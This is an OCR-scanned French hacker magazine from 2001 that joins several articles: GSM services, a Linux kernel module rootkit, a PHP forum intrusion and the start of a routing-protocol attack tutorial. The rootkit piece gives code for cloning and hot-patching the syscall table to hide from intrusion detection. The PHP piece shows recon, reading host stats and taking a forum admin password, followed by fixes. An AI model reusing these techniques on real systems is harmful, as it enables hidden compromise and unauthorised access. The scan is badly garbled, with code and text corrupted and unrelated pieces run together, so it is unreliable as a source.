®- [ es téleservices.

= | es services supplementaires

Les services supports : Le GSM offre 4 ses abonnés des services

supports ¢’est-d-dire permettant a des utilisateurs le transfert de

données d’un bout a 'autre du réseau. Ces services supports

répondent 4 des attributs techniques que voila :

® [’attribut de transfert d’information : Ces attributs définis-

sent les possibilités de transfert d’informations d’un réseau

depuis un point vers un ou plusieurs autres. Il existe 2 types d’at-

tributs, les dominants et les secondaires. Les attributs dominants

déterminent une catégorie de services alors que les attributs

secondairescaractérisent unservice. Yoila les4 attributs dominants :

1. Mode de transfert d’information (Circuit, paquet) : Il caracté-
rise le réseau de transmission de données avec lequel I'utilisa-
teur veut adherer. :

2. Débit de transfert d’information

3. Type d’information (numérique, parole)

4. Structure

\ DECEMBRE 2001
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Voila les 3 attributs secondaires :

1. Mode d’établissement delacommunication : Il caractérisele réseau
avec lequel on souhaite échanger des données. Pour cela il
existe 2 types, avec connexion et sans connexion, dans le pre-
mier cason observe 3 étapes, I'établissement, ’envoi des données,
la libération. Alors que dans le deuxiéme cas on n’observe que
I’envoi de données, ¢’est a dire que les données sont envoyées
sans savoir si le terminal permettant la réception est présent.

2. Configuration de la communication (point & point ou multi-

. point : Elle caractérise le type d’envoi de données, car cer-
tainsréseaux acceptent d’envoyer des informations d'un terminal
vers plusieurs a la fois.

3. Unidirectionnel, Bidirectionnel (symétrique, asymétrique) :
11 caractérise la circulation des informations entre les termi-
naux ainsi que le role de chacun dans cet échange.

= | "attributd’acces: Cesattributsdéfinissentlesmoyensd’accéderaux
services supplémentaires d’un réseau en fonction de 2 variables :
1. Canal et débit d’accés. :
2. Protocole d’accés.
Ces 2 variables concernent ’ensemble des services supplémen-
taires, qui sont :
% Qualite de service.
2. Opérationnel et commerciaux.
3. Services supplémentaires assureés.
4. Possibilités d’interfonctionnement.
I faut savoir que dans un réseau GSM les données'de I'abonné et
de la signalisation du réseau sont véhiculées dans des canaux dif-
férents. Les services supports fournis par la norme GSM utilisent
desapplications multimédia trés diverses (la transmission dela pho-
nie, un acceés a un réseau X.25, un transfert de données multimeé-
dia, une messagerie...)

= [es attributs généraux

Les téléservices : Les teléservices sont des applications opé-
rationnelles grice au réseau et desting a ses abonnés. Ils utilisent
les possibilités fournies par les services supports. Ces téléservices
permettent entre autres la communication entre 2 postes mobiles
(2 GSM) ou entre 1 poste mobile et 1 fixe (1 GSM et 1 RNIS). IIs
permettent aussi les appels d’urgence grice a une touche de votre
terminal, accessiblea tout moment, I’envoi de messages courts (SMS
qui sont limités a 160 caractéres maximums). Voila un récapitu-
latif des téléservices offert par les opérateurs. Pour la voix on a
accés aux appels d’urgence et 4 la téléphonie, pour les données on
a acces a la messagerie point a point, pour les SMS la transmis-
sion est limitée 4 160 caractéres.
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Les services supplémentaires : Lesservicessupplémentaires
sont les petits plus offerts par nos chers opérateurs, ce sont en
général des derives des téléservices, voila une petite liste :

1. Identification de I'appelant
2. Renvoi d’appel

3. Indication d’appel en absence
4. Mise en garde d’appels

8. Restriction d’appels

8. Messagerie vocale

7. Double numérotation

8. Conféerence

9. Transfert d’appel en cours
10. Numérotation abrégée
1. Rappel si occupation

Malgré toutes ces options et ces services que I’on peut avoir avec
le GSM on peut quand méme se poser des questions, car comme
on I’a vu le GSM est assez ancien, avec nos chers Pc on a accés a
demultiplesiapplicationset servicesmultimédia, donconesten droit
de se demander quand pourra-t-on vraiment jouer en réseau avec
notre téléphone portable... C'est pas avec le WAP qui a fait un
gros Flop en France en tout cas, car trop cher, trop lent, en gros
les opérateurs se sont foutus de notre gueule. La technologie sui-
vante s’appelle "'UMTS qui permettra, grace a des vitesses de
transmission bien plusélevée que celles du GSM, de nombreuses nou-

- velles applications sur nos beaux téléphones portables comme

[’envoi d’image et de son. ..

Voild cet articlese termineicimaispeut étreabientot pour des aven-
turesmoins techniqueset plus orientées Phreaking, carya vraiment
de quoi bien s’amuser avec des téléphones portables ou non.

»

Snoop_Psykoman

Merci a : Kenshin mon pote. Tout les crew encore en
vies BHZ, DREA-M, BU, RTC, Tout nos gars Partis trop
tot, j’pense a toi inquiéte.

Bibliographie :
-g Dossier de FT
=E Cours de Fac
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Les LKM invisibles : Sat:nmle Partie,

intro

Nous avons appris la fois derniére comment cacher un module de
la table des modules du noyau, mais il restait encore un point qui
rendait notre lkm pas trés discret : la table des syscalls.

La table des syscalis ?

Syscall_table est un tableau créé lors du démarrage du kernel
(dans linux/arch/i386/kernel/Entry.S), qui contient les adresses
dans la mémoire du noyau de tous les appels systémes. Sur 1'ar-
chitecture IA32, un appel sys,téme est appelé par une interrup-
tion dite "logicielle numéro 80, quilance le gestionnaire
d'appels systeme "system_call".

n{m{ﬁMMwmmmMWmm1uw*/
liree (acked_sys_call_tabie); /* free the unused areay */
peturn -1; /* lkm ingtallation musts abort */

ootuPn 0 /1 kePnelnon crashed =) */
=)

On peut voir que ce code est vralment *TRES* simple. 11 vérifie si

system_call lit la syscall_table pour trouver quel appel systeme :

executer, s'il en existe un.
En scannant la mémoire du kernel pour rechercher I'adresse de
sys_call_table, on retombe sur trois fonctions ou symboles :

c0l0%chc system el
c01094c Iacesys =
t0200a20

Je vous passe s détails du programme qui apres tout n'est pas

trés compliqué a fabriquer.

Parpetitcalcul onvoit quelecodedesystem_call faitmoinsde 180 bytes.

1 ce&yssertatracerdesappelssyslemes et__ksymtab_sys_call_table

. estlatabledelinkagedynamiquequisertainsmod, etdansnotreexemple
alinker sys_call__table avec notre moduleen .o

L'idée du "hack" est que la pliipart des IDS qui cherchent des

R _tlle

Ikm's cherchent dans la liste des appels systémes pour en trouver -

qui ng sont pas "reglos" avec le System.map. On va donc s'arran-
ger pour que ces IDS cherchent au mauvais endroit.

our ce faire, on'va créer une vraie fausse table des syscalls
llommé haeked _sys_call table[]

‘Jﬂlll makesyscalllanle({ _
void *packed_sys_call_table; ‘

3 hacked_sys_call_table=kmalloc(256™sizeat(ony int), GFP HIERI'IEL)
- memepy(acked_sys_eall_tale sys._call lnllleziﬁ*slmultlunu inn);
- pefurn hiacked_sys_call_tahle;

&

On y copie la table des syscalls originale.

Etapesuivante: scannerla mémoire dukernel pour trouver lesfonc-
tions a patcher. En effet, on va s'arranger pour que system_call
et tracesys cherchent dans notre table modifiée, au lieu de recher-

‘cher dans la table "officielle". des 3 occurrences de I'adresse de

sys_call_table, justedeux doiventétremodifiées: il nefaut pasmon-
 trer au monde entier qu'on a dévié sys_call_table, en faisant une
chose aussi stupide que modifier le symbole associé...

Bref : Patching a chaud de notre kernel...

int change_references(void *hacked_sys_call_table){
chiar *pte;
int count=D0;
for ( (intpte =(int) SYSTEM CALL; ((Im)mp] <(int) (SYSTEM CALL-+200);
fitr-+-+)
If(* (Gnt*)ptr)==(int)sys_call_tahlg){
if (+-+comnl==3)
_return 0; :
(Int)*{(int*)ptr) =(int) hacked: sys _call_lahe;

il existe des zones a modifier et s'arrange pour en modifier que
deux maximum. .

Et ¢ca marche ?

Bien oui, ¢a marche ... Votre systéme linux utilise maintenant
une table des appels systémes flambant neuve !
Que montre Kstat ?

falcon:~# kstat -s | grep W

falcon:bﬂ-#

Super ! pas le moindre Warning. Pourtant, si on fait le méme test
que précédemment, on retombe sur les mémes conclusions : le
lkm fonctionne parfaitement.

E:lste-t-ll des risques pour mon sys-
teme ? !

Je ne pense pas. Le seul risque que vous encourez est que les Ikm
quevousinsmoderezaprés (et quiinterceptentoucréent dessyscalls)
ne fonctionnent tout simplement pas. Ils seront affichés par
kstats, mais ne fonctionneront pas vu qu'ils ne sont pas dans la
vraie(laseule?) L'unique table dessyscalls, hacked_sys_call_table;

Vittitttitte

%/
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Un exemple de faille PHP Test de vulnérabilité

L'url du site cible du test restera anonyme pour des questions de sécurité !

1) Attaque :

a - Visite du site : 7

Je vais tout simplement surfer sur le site. Je note :
- Le site utilise le PHP3. -
-Ily a un livre d’or et un forum, tout deux en php3.
- Le forum utilise une base de données MySQL.

Jeregardeen gros lessources des pages, pas trésintéressantes, logique

. onne voit rien en php :( :

b - La prise d'empreinte : \

Jecommence par le petit classique Whoispour celaj’utilise The Ana-
LySeR un programme que j’ai codé en VB6 et qui est téléchar-
geable sur mon site : http://www.securent-2000.com/, j"obtiens

Query : WWW.Xx.com
Registry ¢ Whois.jokercom
Results ;

tomain ; YXN.com

slatus : production

origin€ : i @ifrance.com
oWner : NICOLAS xux

email ; i @ifrance.com0
aildress : o0

eily : i1

stale : FRANGE
postal-code : b

country ; FRANCE

admin : nc@amen.fri0
tech- : nic@amen. i
hilling¢ ; Joker@amen.fri0
nserver : paris.amen.fr
NServer : ns2.amen.fr
registrar ; JORE-1

created : 2000-08-07 05:08:18 UTC core
modified ; 2001-10-31 21:18:38 UTC JORE-1

expines : 2002-06-07 05:06:18 UTC
Source ; |okercom
dl-updated: 2001-11-00 14:40:13 UTC

Je remarque que le site est hébergé sur Amen.

Je peux donc en conclure qu’il va étre difficile d’entrer sur le site
via une faille applicative, du type Buffer overflow ou autre. .. car
le site est sur un serveur d’Amen, un gros hébergeur Frangais et
que ses serveurs doivent posséder un minimum de sécurité et doi-
vent 8tre correctement patchés. Néanmoins ce n’est qu’une sup-
position de ma part.

Ceci se traduit par le peu de probabilité qu’il y ai présence de
failles applicatives, mais possibilité de failles de scripts !

Maintenant je vais jeter un petit il pour voir s'il y a des rou-
teurs ou firewall avant la machine cible, je fais donc un Trace
route en utilisant VisualRoute5.0b :

80.11.87.68
80.11.88.1
193.268.6.49 »
1983.262.99.2
183.261.126.178
183.251.126.18
108.32.247.67
195.154.0.118
195.154.0.65
195.154.0.33
195.154.0.238
62.210.0.50
195.184.10.121 -
217.175.182.162

‘Tous mes paquets passent sans problémes :) il n’y a donc pas de
firewall. :
Maintenant que I’on sait tout ¢a il va falloir des informations

- sur la machine elle méme. Tout d’abord I’0OS utilisé : amen utili-

T
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se bien UNIX. On va faire une identification des services qui
tournent sur la bécane. On va donc grabber les banner sur les
ports ouverts et essayer d’identifier les services présents.

Jai le choix entre plusieurs types de scans : TCP (efficaces mais
bruyant), le XMAS, le demi ouvert, le FIN etc. ..

Comme il s’agit-d’un test de vulnérabilité et non d’un hack je
peux utiliser le scan TCP :)

Le mieux est d’utiliser NMAP qui est disponible sous Win2000.
Ici comme je devais juste effectuer un scan TCP, j’ai utilisé encore
un fois un programme codé par moi méme en VB6 et disponible
sur mon site (The AnaLySeR ou TCPscan).

[21] ProFTPD 1.2.20c1 Server (ProFTPD)
23

I
[25] 220 paris8.amen.fr ESMTP Sendmail 8.10.2/8.10.2; Fri, 8 Nov 2001 17:01 31
+0100
[80]
[81]
[110] -+OK QPOP (version ?) at paris.amen.in slal'llnn
<17558.1005321693@paris6.amen.Ir>
[143] * DK paris8.amen.ir IMAP4reu1 v12.264 server ra:dv
[444]

Tout ca est trés intéressant ! on voit qu’il y a un serveur ETP, un
telnet, un smtp, un http, un pop et un Imap. Le port 81 étant
altribué pour I'administration a distance du site. Il s’agit en fait
d’un tableau de controle ol seul I'administrateur du site ya
acces.

On voit aussi que I’ admmlstratem du serveur de amen est
consciencieux car il a enlevé la banmere du serveur POP, on peut
alors se demander si les banniéres qu’on a régu sont yraies ou
truqﬂees par I'administrateur systéme 7?7
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Bon j’ai déja récolté pas mal d’informations. J’aimerai savoir si le
serveur en face utilise Linux ? pour cela j’envoie un paquet TCP
sur un port fermé, cela aura pour conséquence un renvoi d’un
paquet particulier de la cible. En sniffant le retour sur ma machine
et je regarde la valeur que prend le TOS du paquet retout. Je vois
€0, il y a donc de grande chance que la machine utilise Linux.

Je fais un petit scan de CGI pour la route méme si je sais que cela
ne servira a rien car des serveurs de cette taille ont trés rarement
ce genre de problémes. Il consiste a vérifier des problémes liées &
des application CGI, ou I'exploitation se fait via une URL pour
la majorité. Il suffit done de vérifier si "URL existe.

En effet j"obtiens aucun résultat.

Bon je vais m’arréter la pour la recherche d’informations sur le
serveur d’Amen carilest peu probable que je puisse passer par ce che-
min, Je pourrai vérifier quelques informations en me connectant
en telnet, en essayant de scanner pour trouver un wardialling
etc... mais bon. ..

¢ - Exploitation des résultats .
Je vois qlie le site cible est sous amen. Je vais donc accéder a ses stats.

/stats
/stats/flp/
/stats/mail/

Ainsi j’obtiens les noms des utilisateurs ;
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Dans la section FTP, jlobtiens les URL de certains fichiers qui sont censés étre cachés :

e e
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Sulte t I'article Yahoo piratable by Fozzy

Yahoo France a été contacté par téléphone le 28 novembre, une
lettre recommandée détaillant lerésultat complet de monaudit leur
a 6té envoyée quelques jours aprés, ainsi qu'a Yahoo USA. Ces
trous de sécurité, importants, ont probablement été corriges.
mais au cas oil il en subsisterait d'autres voici quelques conseils:
ne transmettez jamais d'informations confidentielles non cryp-
tées par internet, faites une sauvegarde de vos messages, ne cli-
(uez jamaissurun lienouun bouton contenudansun mail, désactivez
lejavascriptetlechargementautomatique desimagessur votrenavi-
gateur, et allez a la péche au lieu d'utiliser un ordinateur. Si vous
suivez tous ces conseils, vous ne craignez plus rien !

Merci a Uzy, Slider, et Kicker pout leur collaboration et leur
travail sur les failles des webmails.

FozZy.

Hackademy Member of Staff
fozzy@dmpfrance.com

Dans un soucis éthigue, et de sécurité pour

les utilisateurs de Yaiioo mail, nous n'avons pas publié
ici le moyen concret, que nous connaissons, de pirater le
“service. Nous décrivons en revanche laes causes de ces
failles dans le détail. '

www.dmpfrance.com
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Jai donc obtenue les URL de certain fichiers importants :

/forum/config.tut
/forum/suppression.piipd
Jlest/

/test/forum/
e

Jevaisjeter unoeil danssur/test/ et} obtiens une page quime deman-
de un login et mot de passe. Cela veut tout simplement dire qu'’il
s’agit du répertoire propre au webmaster et utilisateurs du sites.
Tlest possible que le mot de passe ne protége qu’un fichier et non
le répertoire.

Je vais donc relever d;;ﬂ&l,gs stats toutes les URL qui m’indique‘ht
fichiers et sous répertoires du répertoire TEST. :

Et en effet j’y ai acces. Voici un ﬁgemier probléme de sécurité !
Je vais,essayer de lire le fichier config.txt dont jai obtenu I'url

dans les stats. J’obtiens :

A\

<!
//mettre I'uel du répertoire du forum sans 16 slash e fin
Ssite="http://www.xix.com/forum";

//email de I'administeateur du forum
Semail_wm="wehmasler@xxx.com";

//nom u site
Snum_slta="m";‘

//mot tle passe pour accéder a I'administration
Spass="gr2x1" ‘

- //comyright
gmw="<m-><hr><nente|'>&nnw;&nnsn;l 899 - 20001 wox</center=>";
>

Encore un probléme de sécurité 4 ce stade. J'obtiens donc le mot
de passe de I'administration du forum.

Je vais faire un tour sur leur forum pour comprendre un peu

comment il fonctionne, les noms de variables utilisées etc. ..

Auteur

Vs
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Ici on voit la page d’accueil du forum : index.php3

Je vois que chaque message contient un numéro, et la lecture
fonctionne comme ceci : message.php3nume=21

[l y a done une variable "nume".

Maintenant je vais essayer de trouver la variable d’administra-
tion, ou le mot de passe doit étre entré.
Je tape logiquement : /forum/index.php3?admin= er2x1

L je retombe sur la page d’avant. Aucune 404, ¢’est donc que je
suis sirement logé en tant qu’administrateur .

Je clique sur un message pour verifier.
En bas du message il y a marqué "supprimer". je suis donc bien
logé en tant qu’administrateur sur le forum et je peux le modifier.

Pour la page suppression.php3

Elle utilise la variable "num_supp". donc
fforum/suppression.php3?nume_sup=21 :

supprimera le message nume=21.

Depluslapagesuppression.php3 présenteunbug decodageimpor-
tant. En effet lorsque que I’on va sur la page, il y a un lien
"retour au forum" en cliquant sur ce lien on retourne au forum
en effet mais en tant qu’administrateur. Le programmeur pensait
queseul I'adminconnaitrait I'existence delapage suppression.php3
donc il a fait ceci. Grave erreur car j’ai pu obtenir le nom de la
page via les stats et a cause de ce bug je peux obtenir directement
la variable et le mot de passe administrateur du forum.

Voici la ligne de code qui pose probléme dans le fichier suppres-
sion.php3 : :

<genter><afirgl=\"index.phipd ?admir=Spass\" >Retour auforum</a></center>";
2) Résumé :

Résumé des problémes PHP :

1) Les stats fournissent trop d’informations

2) Lesystémedemot de passeutilisé pour lerépertoire/testn’est pasfiable

3) Le mot de passe d’administration est trop facilement accessible

4) Lenomde la variable d’administration du fichier /forum/index.php3
est trop logique et permet une utilisation directe du mot de
passe obtenue.

5) Erreur de programmation dans la page suppression.php3
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Coté positif:

1) Pas de page d’administration accessible directement. Du type
/forum/admin.php3

Les réactions de I"administrateur du site : ¥

"Ben en faite je penser pas que je pouvais me faire avoir juste par

une visualisation de mes stats ce qui est quand méme trés idiot de

la part de I'hebergeur. Je te remercie."

‘Ici le webmaster pense que ¢’est la faute de 1’hébergeur mais ¢ est

de sa faute car ¢’est a lul de sécuriser son site surtout que Amen

* propose dans ses forums la solution & ce probléme ! I’hébergeur

est done absolument pas mis en cause mais ¢’est plutdt le web-
master qui l’est.

3) Phase de sécurisation :

Tout d’abord il faut sécuriser 'accés aux stats.
Pour cela nous allons créer un premier fichier htaccess.txt :

AuthType Basic

AuthName "Protection des stals"
AuthUserFile /home/sites/WWw.Xxx.com/web/.itpasswi
<Files stats>

require valid-user

</Files>

<Files mail>

require valid-user

</Files>

<Files fip>

require valit-user

</Files>

<Files stats old>

require valid-user

</Files>

Puis nous allons créer un second fichier htpasswd.txt
Root: 570WzYigedile

Ici le mot de passe crypté est "amine". De nombreux scripts exis-
tent pour procéder a ce cryptage.
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Maintenant quelesfichierssontcrées, il vafalloirlesmettrealaraci- I faut enlever ?admin=S$pass ce qui donne : <center><a
ne du site /web y P
Une fois ceci fait, nous les renommons en .htaccess et htpasswd - href=\"index.php3\">Retour au forum</a></center>"; ainsi
ceci pouvant étre fait que du coté serveur et non du coté client
car seul UNIX accepte cela.

Voild I'accés aux statsest sécuriseé. pas obtenir la variable et le mot de passe juste en cliquant sur un

méme si quelqu’un trouve I’existence de ce fichier, il ne pourra

Maintenant passons a la sécurisation des fichiers .txt qui contien-  lien!

nent le mot de passe d’administration. Pour que le code ne soit

plus lisible, il suffit de modifier I’extension du fichier en .php3

au lieu de .txt Auteur - Jofen
Voila ceci étant fait il faut mettre a jour le script du forum pour De I'équipe SecureNT-2000
lui indiquer les changements.

Www.securent-2000.com
Ensuite, il faut modifier le nom de la variable $admin en un nom =
moins évocateur, par exemple $txda. Date : 03/11/01
Pour une meilleure utilisation du mot de passe protégeant le . '
répertoire réservé aux membres du sites /test 1l suffit d’utiliser un , Heure : 1022 AN
seript approprié. |
Etenfin derniére chose, modifier le code dela pagesuppression.php3 :
A Fopigine : <center><a href=\"index,phy3?aiimin=Spass\">Relour au
forum</a></tenter>"; :
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L& hobby des hackers branchés =)

Savoir prendre le controle de son routeur

Cette série d'articles est destinée & vous ouyrir a 1a voie du futur :
l'attaque des routeurs. J'ai lu recemment un papier du CERT qui
indiquait que 'attention des hackers se reportait de plus en plus
sur leséquipements de routage au détriment des serveurs (qui, parait-
il, seraient de mieux enmieux sécurisés :0). Ilest vrai qu'il yade quoi
s'amuser (ou se faire du soucis selon la situation !) avec ces équi-
pements qui sont forcés d'gtre plus ou moins ouverts sur Inter-
net. Je vais vous expliquer les principes du routage sur Internet,
les différentes familles de protocoles et d'algorithmes de routage
et on terminera cet article par une rapide étude des faillesdu
protocole de routage dynamique RIP. Les autres protocoles de
routage seront abordés (dans le sens "A L'ABORDAGE!!!" ;)
dansun prochainpapier (pas facile d'expliquer dans le méme
article RIP, OSPE BGP et tout le toutim général !).

- Quel est F'intérét de s'intéresser aux routeurs ?

Attention, notre but dans cet article est avant tout de vous faire
découyrir lesfonctionnementsde routage quisontutilisés sur Inter-
netou danslesentreprises. La présentation des failles, quin'est qu'une
partie annexe, est la cerise sur le gateau dontl'objectif est de
yous inciter a approfondir les concepts abordés ici.

Ainsi dans le but recherché par 'exploitation des failles des pro-
tocoles de routage n'est pas de prendre directement la main sur
les routeurs. Nous allons jouer directement sur leurs faiblesses
pour modifier les routes et rediriger le trafic vers notre machine,
vers une machine que nous contrélons (c'est mieux !) ou vers une
IP non utilisée (pour réaliser des Dénis de Service). J'exclu du
sujet toutce qui toucheaux faillessur lesrouteurs permettant d'exé-
cuter des commandes. ;

Une fois que le trafic aura été redirigé vers notre machine, nous
auronsalerouter pourl'acheminer versladestination (ou tout béte-
ment le bloquer si on souhaite empécher deux réseaux de commu-

niquer). Du momentique le trafic passe par notre machine, il est

possible de (au choix) :

- lire toutes les données transmises entre deux réseaux
(sniffer)

- modifier toutes les données transmises entre deux réseaux
(hijacking par ex)

- bloquer des données de maniére sélective (Déni de Service)

Pour ceci, vous pourrez utiliser les outils classiques de routages
largement distribués dans les distributions linux, ou vous pour-
rezégalement utiliser lelogiciel Virtual IP Phalanx Router (VIPPR)
créépar le groupe Phenoelit (www.phenoelit.de). Celogiciel est des-
tiné spécifiquement 4 un usage de hacker (ou assimilé) : ce n'est
pas un produit standard de routage comme routed et consorts.
Ladifférence tientd denombreux détails, expliquéssur leursite web,
qui font que la personnalisation de son fonctionnement est éle-
vée. Allezjeter uncoupd'oeil ausite, ces types la font des trucs impres-
sionnants ! ;)

Avant de passer a la partie "ludique", il est impératif d'essayer de
comprendre les bases suivantes, quitte a n'en comprendre qu'une
partie... Je ne saurais que trop vous conseiller de vous reporter
égalementauxcoursréseau disponiblessur Internet et aux REC pour
compléter ce que je dis : je ne peux pas étre exhaustif, et apprendre
a chercher (et a trouver !) est quelque chose d'extrémement for-
mateur :).

Bon courage ! :P
1 - Pourquoi routage "dynamique" ?

[l faut faire la distinction entre :

- |e routage statique : I'admin réseau fixe les routes "en dur”
sut chaque routeur et le chemin emprunte pour aller de A vers B
sera toujours le méme. Si une liaison physique (un cable) par
lequel passent lescommunicationsallant de A vers B est coupée (coup
de pelleteuse approximatif par exemple), A ne pourra pas com-
muniquer avec B jusqu'a ce que I'admin modifie les routes sta-

PASSEZ VOTRE TETE PAR
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tiques sur les routeurs pour faire passer les communications par
un autre chemin.

- le routage dynamique: toutsefait automatiquement (ou presque).
L'admin n'a qu'a configurer quelques paramétres initiaux sur ses
routeurs et c'est ensuite les protocoles de routage dynamique qui
gérent les ajout/suppression de nouvelles routes. Le coup de la

pelleteuse qui arrache le cable serait résolu automatiquement par -

lesystéme dansun tempsrapide comparéal'interventiond'un admin
sur du routage statique. Des versions évoluées de protocoles de
routage dynamique permettent également de gérer desnotionscomme
lacharge d'unréseau (plutot que depasser tout le temps parun méme
réseau surchargé, autant passer’par un réseau peu utilisé qui per-
mettra également d'atteindre la destination) ou le cott d'un lien
(certains fournisseurs d'acces facturent a la quantité d'info trans-
mise => autant choisir la liaison disponible la moins cofiteuse).

Le rdutage dynamiqueprend toutesonampleur dans des réseaux dits

maillés qui fournissent plusieurs chemins pour aller de A vers B.

<Remarque>

Depuis tout a I'heure je parle de A et de B.
Nous allons considérer que A et B sont des
machines, mais il faut savoir que le routage tra-
vaille avec des notions de réseau : le rou-
teur raisonne ainsi : "pour atteindre le
réseau d'adressage N, je dois passer par
telle interface vers telle passerelle et ¢a va
me coiiter tant". Vous pouvez considérer qu'une
interface est I'équivalent d'une carte réseau.
Un routeur possede plusieurs interfaces en
principe connectées chacune a un réseau
différent. :

Les réseaux maillés, comme Internet par exemple, permettent d'avoir
une redondance de routes importante et rendent ainsi l'achemi-
nement plus fiable, voir plus efficace. Ainsi, si la pelleteuse de
Jayce (décidément, yen a un paquet de pelleteuses dans cet
article...) coupe un cable transportant des données Internet d'un
Fournisseur d'Accés Internet (FAL) auMaroc, les Marocains neseront
paspourautant privésd'Internet car il existera d'autres chemins par
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lesquels lesdonnées pourront transiter (saufbiensiirsiJaycearrache
votre cable téléphonique juste sous votre fenétre...;).

Nousallons voir lesprotocolesde routage dynamique qui se fondent
sur desprocessusautomatiquesse basantsur desdialoguesentrerou-
teurs sur le réseau, Le routage statique n'est exploitable que si
nous avons la possibilité d'exécuter des commandes sur le routeur
et nous avons exclu ce cas du champs d'étude.

2 - Les différents types de routage dynamique

L'exemple type du réseau maillé dont le fonctionnement s'appuie sur
des protocoles de routage dynamique est Internet. Vous imaginez
bien (je l'espére en tout cas ;) qu'il est impossible de connaitre
toutes les routes possibles de A vers Bd un instant donné (et ce
surtout si A et B sont séparés par de nombreux routeurs) : elles
sont trop nombreuses et le maintien d'une telle base de données &
jour serait impossible ! :

C'est pour cela qu'lnternet, et les réseaux maillés en général, sont
découpés en Autonomous System (AS) qui sont chacun gérés par
un FAI ou un opérateur Internet. Quand un probléme est trop
complexe, on le découpe en sous-entités logiques plus simples a
résoudre. Delaméme facon, I'ensemble des équipements quiforment -
Internet est trop complexe 4 considérer dans sa globalité, donc
on le découpe en sous-entités chacune gérée par un acteur bien
défini. ‘

Ce découpage va méme plus loin : chaque AS est subdivisé en
plusieurs sous-AS qui sont gérés par les entreprises clientes par
exemple... et ainsi de suite (une grosse entreprise peut également
elle-méme définir ses propres'sous-sous-AS =).

Chaque AS est identifié par un numéro unique sur 16 bits et ils
sont composés d'une multitude de routeurs quicommuniquent entre
eux. Au sein d'un AS donné, la communication se fait grace a un
Interior Gateway Protocol (IGP) qui peut étre I'un des proto-
coles suivants : OSPE RIP, IGRP, EIGRP.

L'IGP(c'esten fait un terme générique décrivantune famille de pro-
tocolesderoutage) assure donc le fonctionnement du routage dyna-
mique au sein de I'AS uniquement.
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Les mises a jour di routage dynamique entre différents AS sont
réalisées par une famille de protocoles de routage appelée Exte-
rior Gateway Protocol (EGP). C'est souvent le protocole Border
Gateway Protocol (BGP) qui est employé en tant qu'EGP.

Un ou plusieurs routeurs d'un AS sont designeés pour assurer
l'interconnexion et le routage dynamique vers les autres AS et ils
font done tourner un protocole de type EGP. Ce routeur, dit "de
frontiére", s'adresseradoncaseshomologues des ASvoisins (les rou-
teurs de frontiéres des autres AS) et assurera l'interconnexion et
le routage dynamique & destination de ces derniers.

3 - C'est bon-vous tenez le coup ?

Allez, on souftle 2 secondes et on continue ! ;)

4 - Routage dynamique interne : tout (ou
presque) sur les IGP

Nous allons maintenant abotder les différents algorithmes utili-
sés par les protocoles de routage. [l existe deux types et demi de
fonctionnement :

a) Distance Vector - ﬁl_ﬁorlthmo de
Bellman-Ford :

Les protocoles de vecteurs de distance nécessitent la connaissance
des routeurs voisins proches. En effet, les communications ne
sont faites que vers ces voisinsimmediats directement connecteés (c'est
4 dire ne nécessitant pas le passage par un ou des routeur(s)
intermédiaire(s)). :

Chaque routeur posséde une table des vecteurs de distance qui
ressemble A ceci :
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Pour chaque entrée, le réseau de destination est identifié, le nom
de I'interface est spécifié (pour savoir sur quelle interface envoyer
les paquets vers cette destination donnée), tout comme I'@IP de
la passerelle (si le routeur & l'autre bout dy lien en posséde une)
et le cofit nécessaire pour atteindre cette destination (voir plus
loin pour la formule de caleul). :

Il ne peut pas y avoir deux routes différentes inscrites dans la
table pour une méme destination : seulla route lamoinschére connue
A ce jour y est inserite.

Les routes vers les réseaux locaux directement connectés aux
interfaces de A (dans notre tableat ci dessus ; Al et A2) sont
toujoursconnues. Lecoltquileurestassociéest lecotitattribué par
I'administrateur pour l'interface qui leur est connectée.

En effet, chaque interface de A a un codit d'utilisation fixé par
l'administrateur. Cecofit permet d'exprimer des préférences en terme
de routage : il peut étre préféré d'utiliser au maximum l'interface
ethernet n°1 plutot que la liaison spécialisée qui nous est factu-
rée en fonction du volume de données transmises. On peut donc
dire de maniére approximative que au plus la valeur du cofit
associé  une interface sera élevée, au moins son utilisation sera
souhaitée.

Donc, comment tout cela fonctionne-t-il pour donner un rotita-
ge dynamique ?

Prenons un scénario de simulation : le routeur A vient de reboo-
ter. Sa table des vecteurs de distance ne contient que les entrées
vers les réseaux Al et A2 immédiatement connectés a ses inter-
faces :

"nour aller de A vers A je passe directement par I'interface etht, ce qui me cofte 3"
"rour aller de A vers A2 je passe directement par I'interface eth?, ce qui me cofte 1"

flu réseau local(n) 188SeP par @IP passerel coill/metrique pour
vers |a destination [a liaigon (si disponihe) atteindre 1a est
Al interface ethernet n°1 : 3
A2 interface ethernet n°2 - 2
192.168.13.254 4

B interface ethernet n°1
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" Ainsi on peut voir que I'administrateur a décidé que l'utilisation
de l'interface ethernet n°1 codte 3 alors que l'interface ethernet
n°2 ne cotite que 1.

I1 va annoncer sur toutes ses interfaces sa table de vecteurs de dis-
tance en disant :

A: " Ja connais une route pour aller & A1 : elle cofite 3 111"
A: " Je connals une route pour aller a A2 : elle cofite 1 111"

I1 va ensuite attendre les annonces de ses voisins immédiats (le
systeme des vecteurs de distance est un protocole passif)..... jus-
qu'a ce que son voisin B lui envoie lui méme sa table de vecteurs
par I'intermédiaire de I'interface ethernet n°1 de A en lui disant :

B: " Je connais une route pour aller & B1 ; elle cofte 1 11"

B: " de connals une route pour aller & C1 : elle cofite 2 111"

B: " Je connais une route pour aller & D1 : elle coiite 3 111"

B: " Je connais une route pour aller & A1 ; elle coiite 3 111" (B conna également le
péseau A1 puisqu'ils sont tous les deux conneclés & Ia meme interface elfi1 de A)

A regoit ce message et se rends compte qu'il y a trois destinations
nouvelles. '

Tout content, il rajoute ces trois réseaux a sa table de vecteurs.
Le calcul des cotits finaux pour chacune de ces destinations se fait
de la maniére la plus simple par :

codl_final_vers X_par_elhl =codt_amoncé_par B_vers X+ codl_utliss-
fion_interface_eti_par_A;

oil X est soit A1, B1, G1 ou D1 (les rois destinations qui viennent d'tre annoncées
fian B).

Pour ce qui est de la destination A1, A sait déja l'atteindre...
Etant donné que la passerelle menant vers A1 ((@IP de B connec-
tée a ethl) est différente de la passerelle initialement connue
(@IP de Alethl), il va donc lui falloir comparer le cofit calculé
(3+3=6)aveclecoltinitialement connu (=3), ce qui vadonc'ame-
ner a ignorer cette route puisqu'elle est plus coiiteuse.

A sait d'ou vient I'annonce de B (interface ethl) et il récupére
I'@IP deBpourl'interfaceethl enregardant!'@IPsource du data-
gramme qu'il vient de recevoir.

Au final, voici le tableau que A a construit incluant chacune des
destinations qu'il vient de découvrir :

“Pour aller vers B1, je passe par 'interface el de iasserelle @B/eth1 et ga me
cafite 1+3=1."
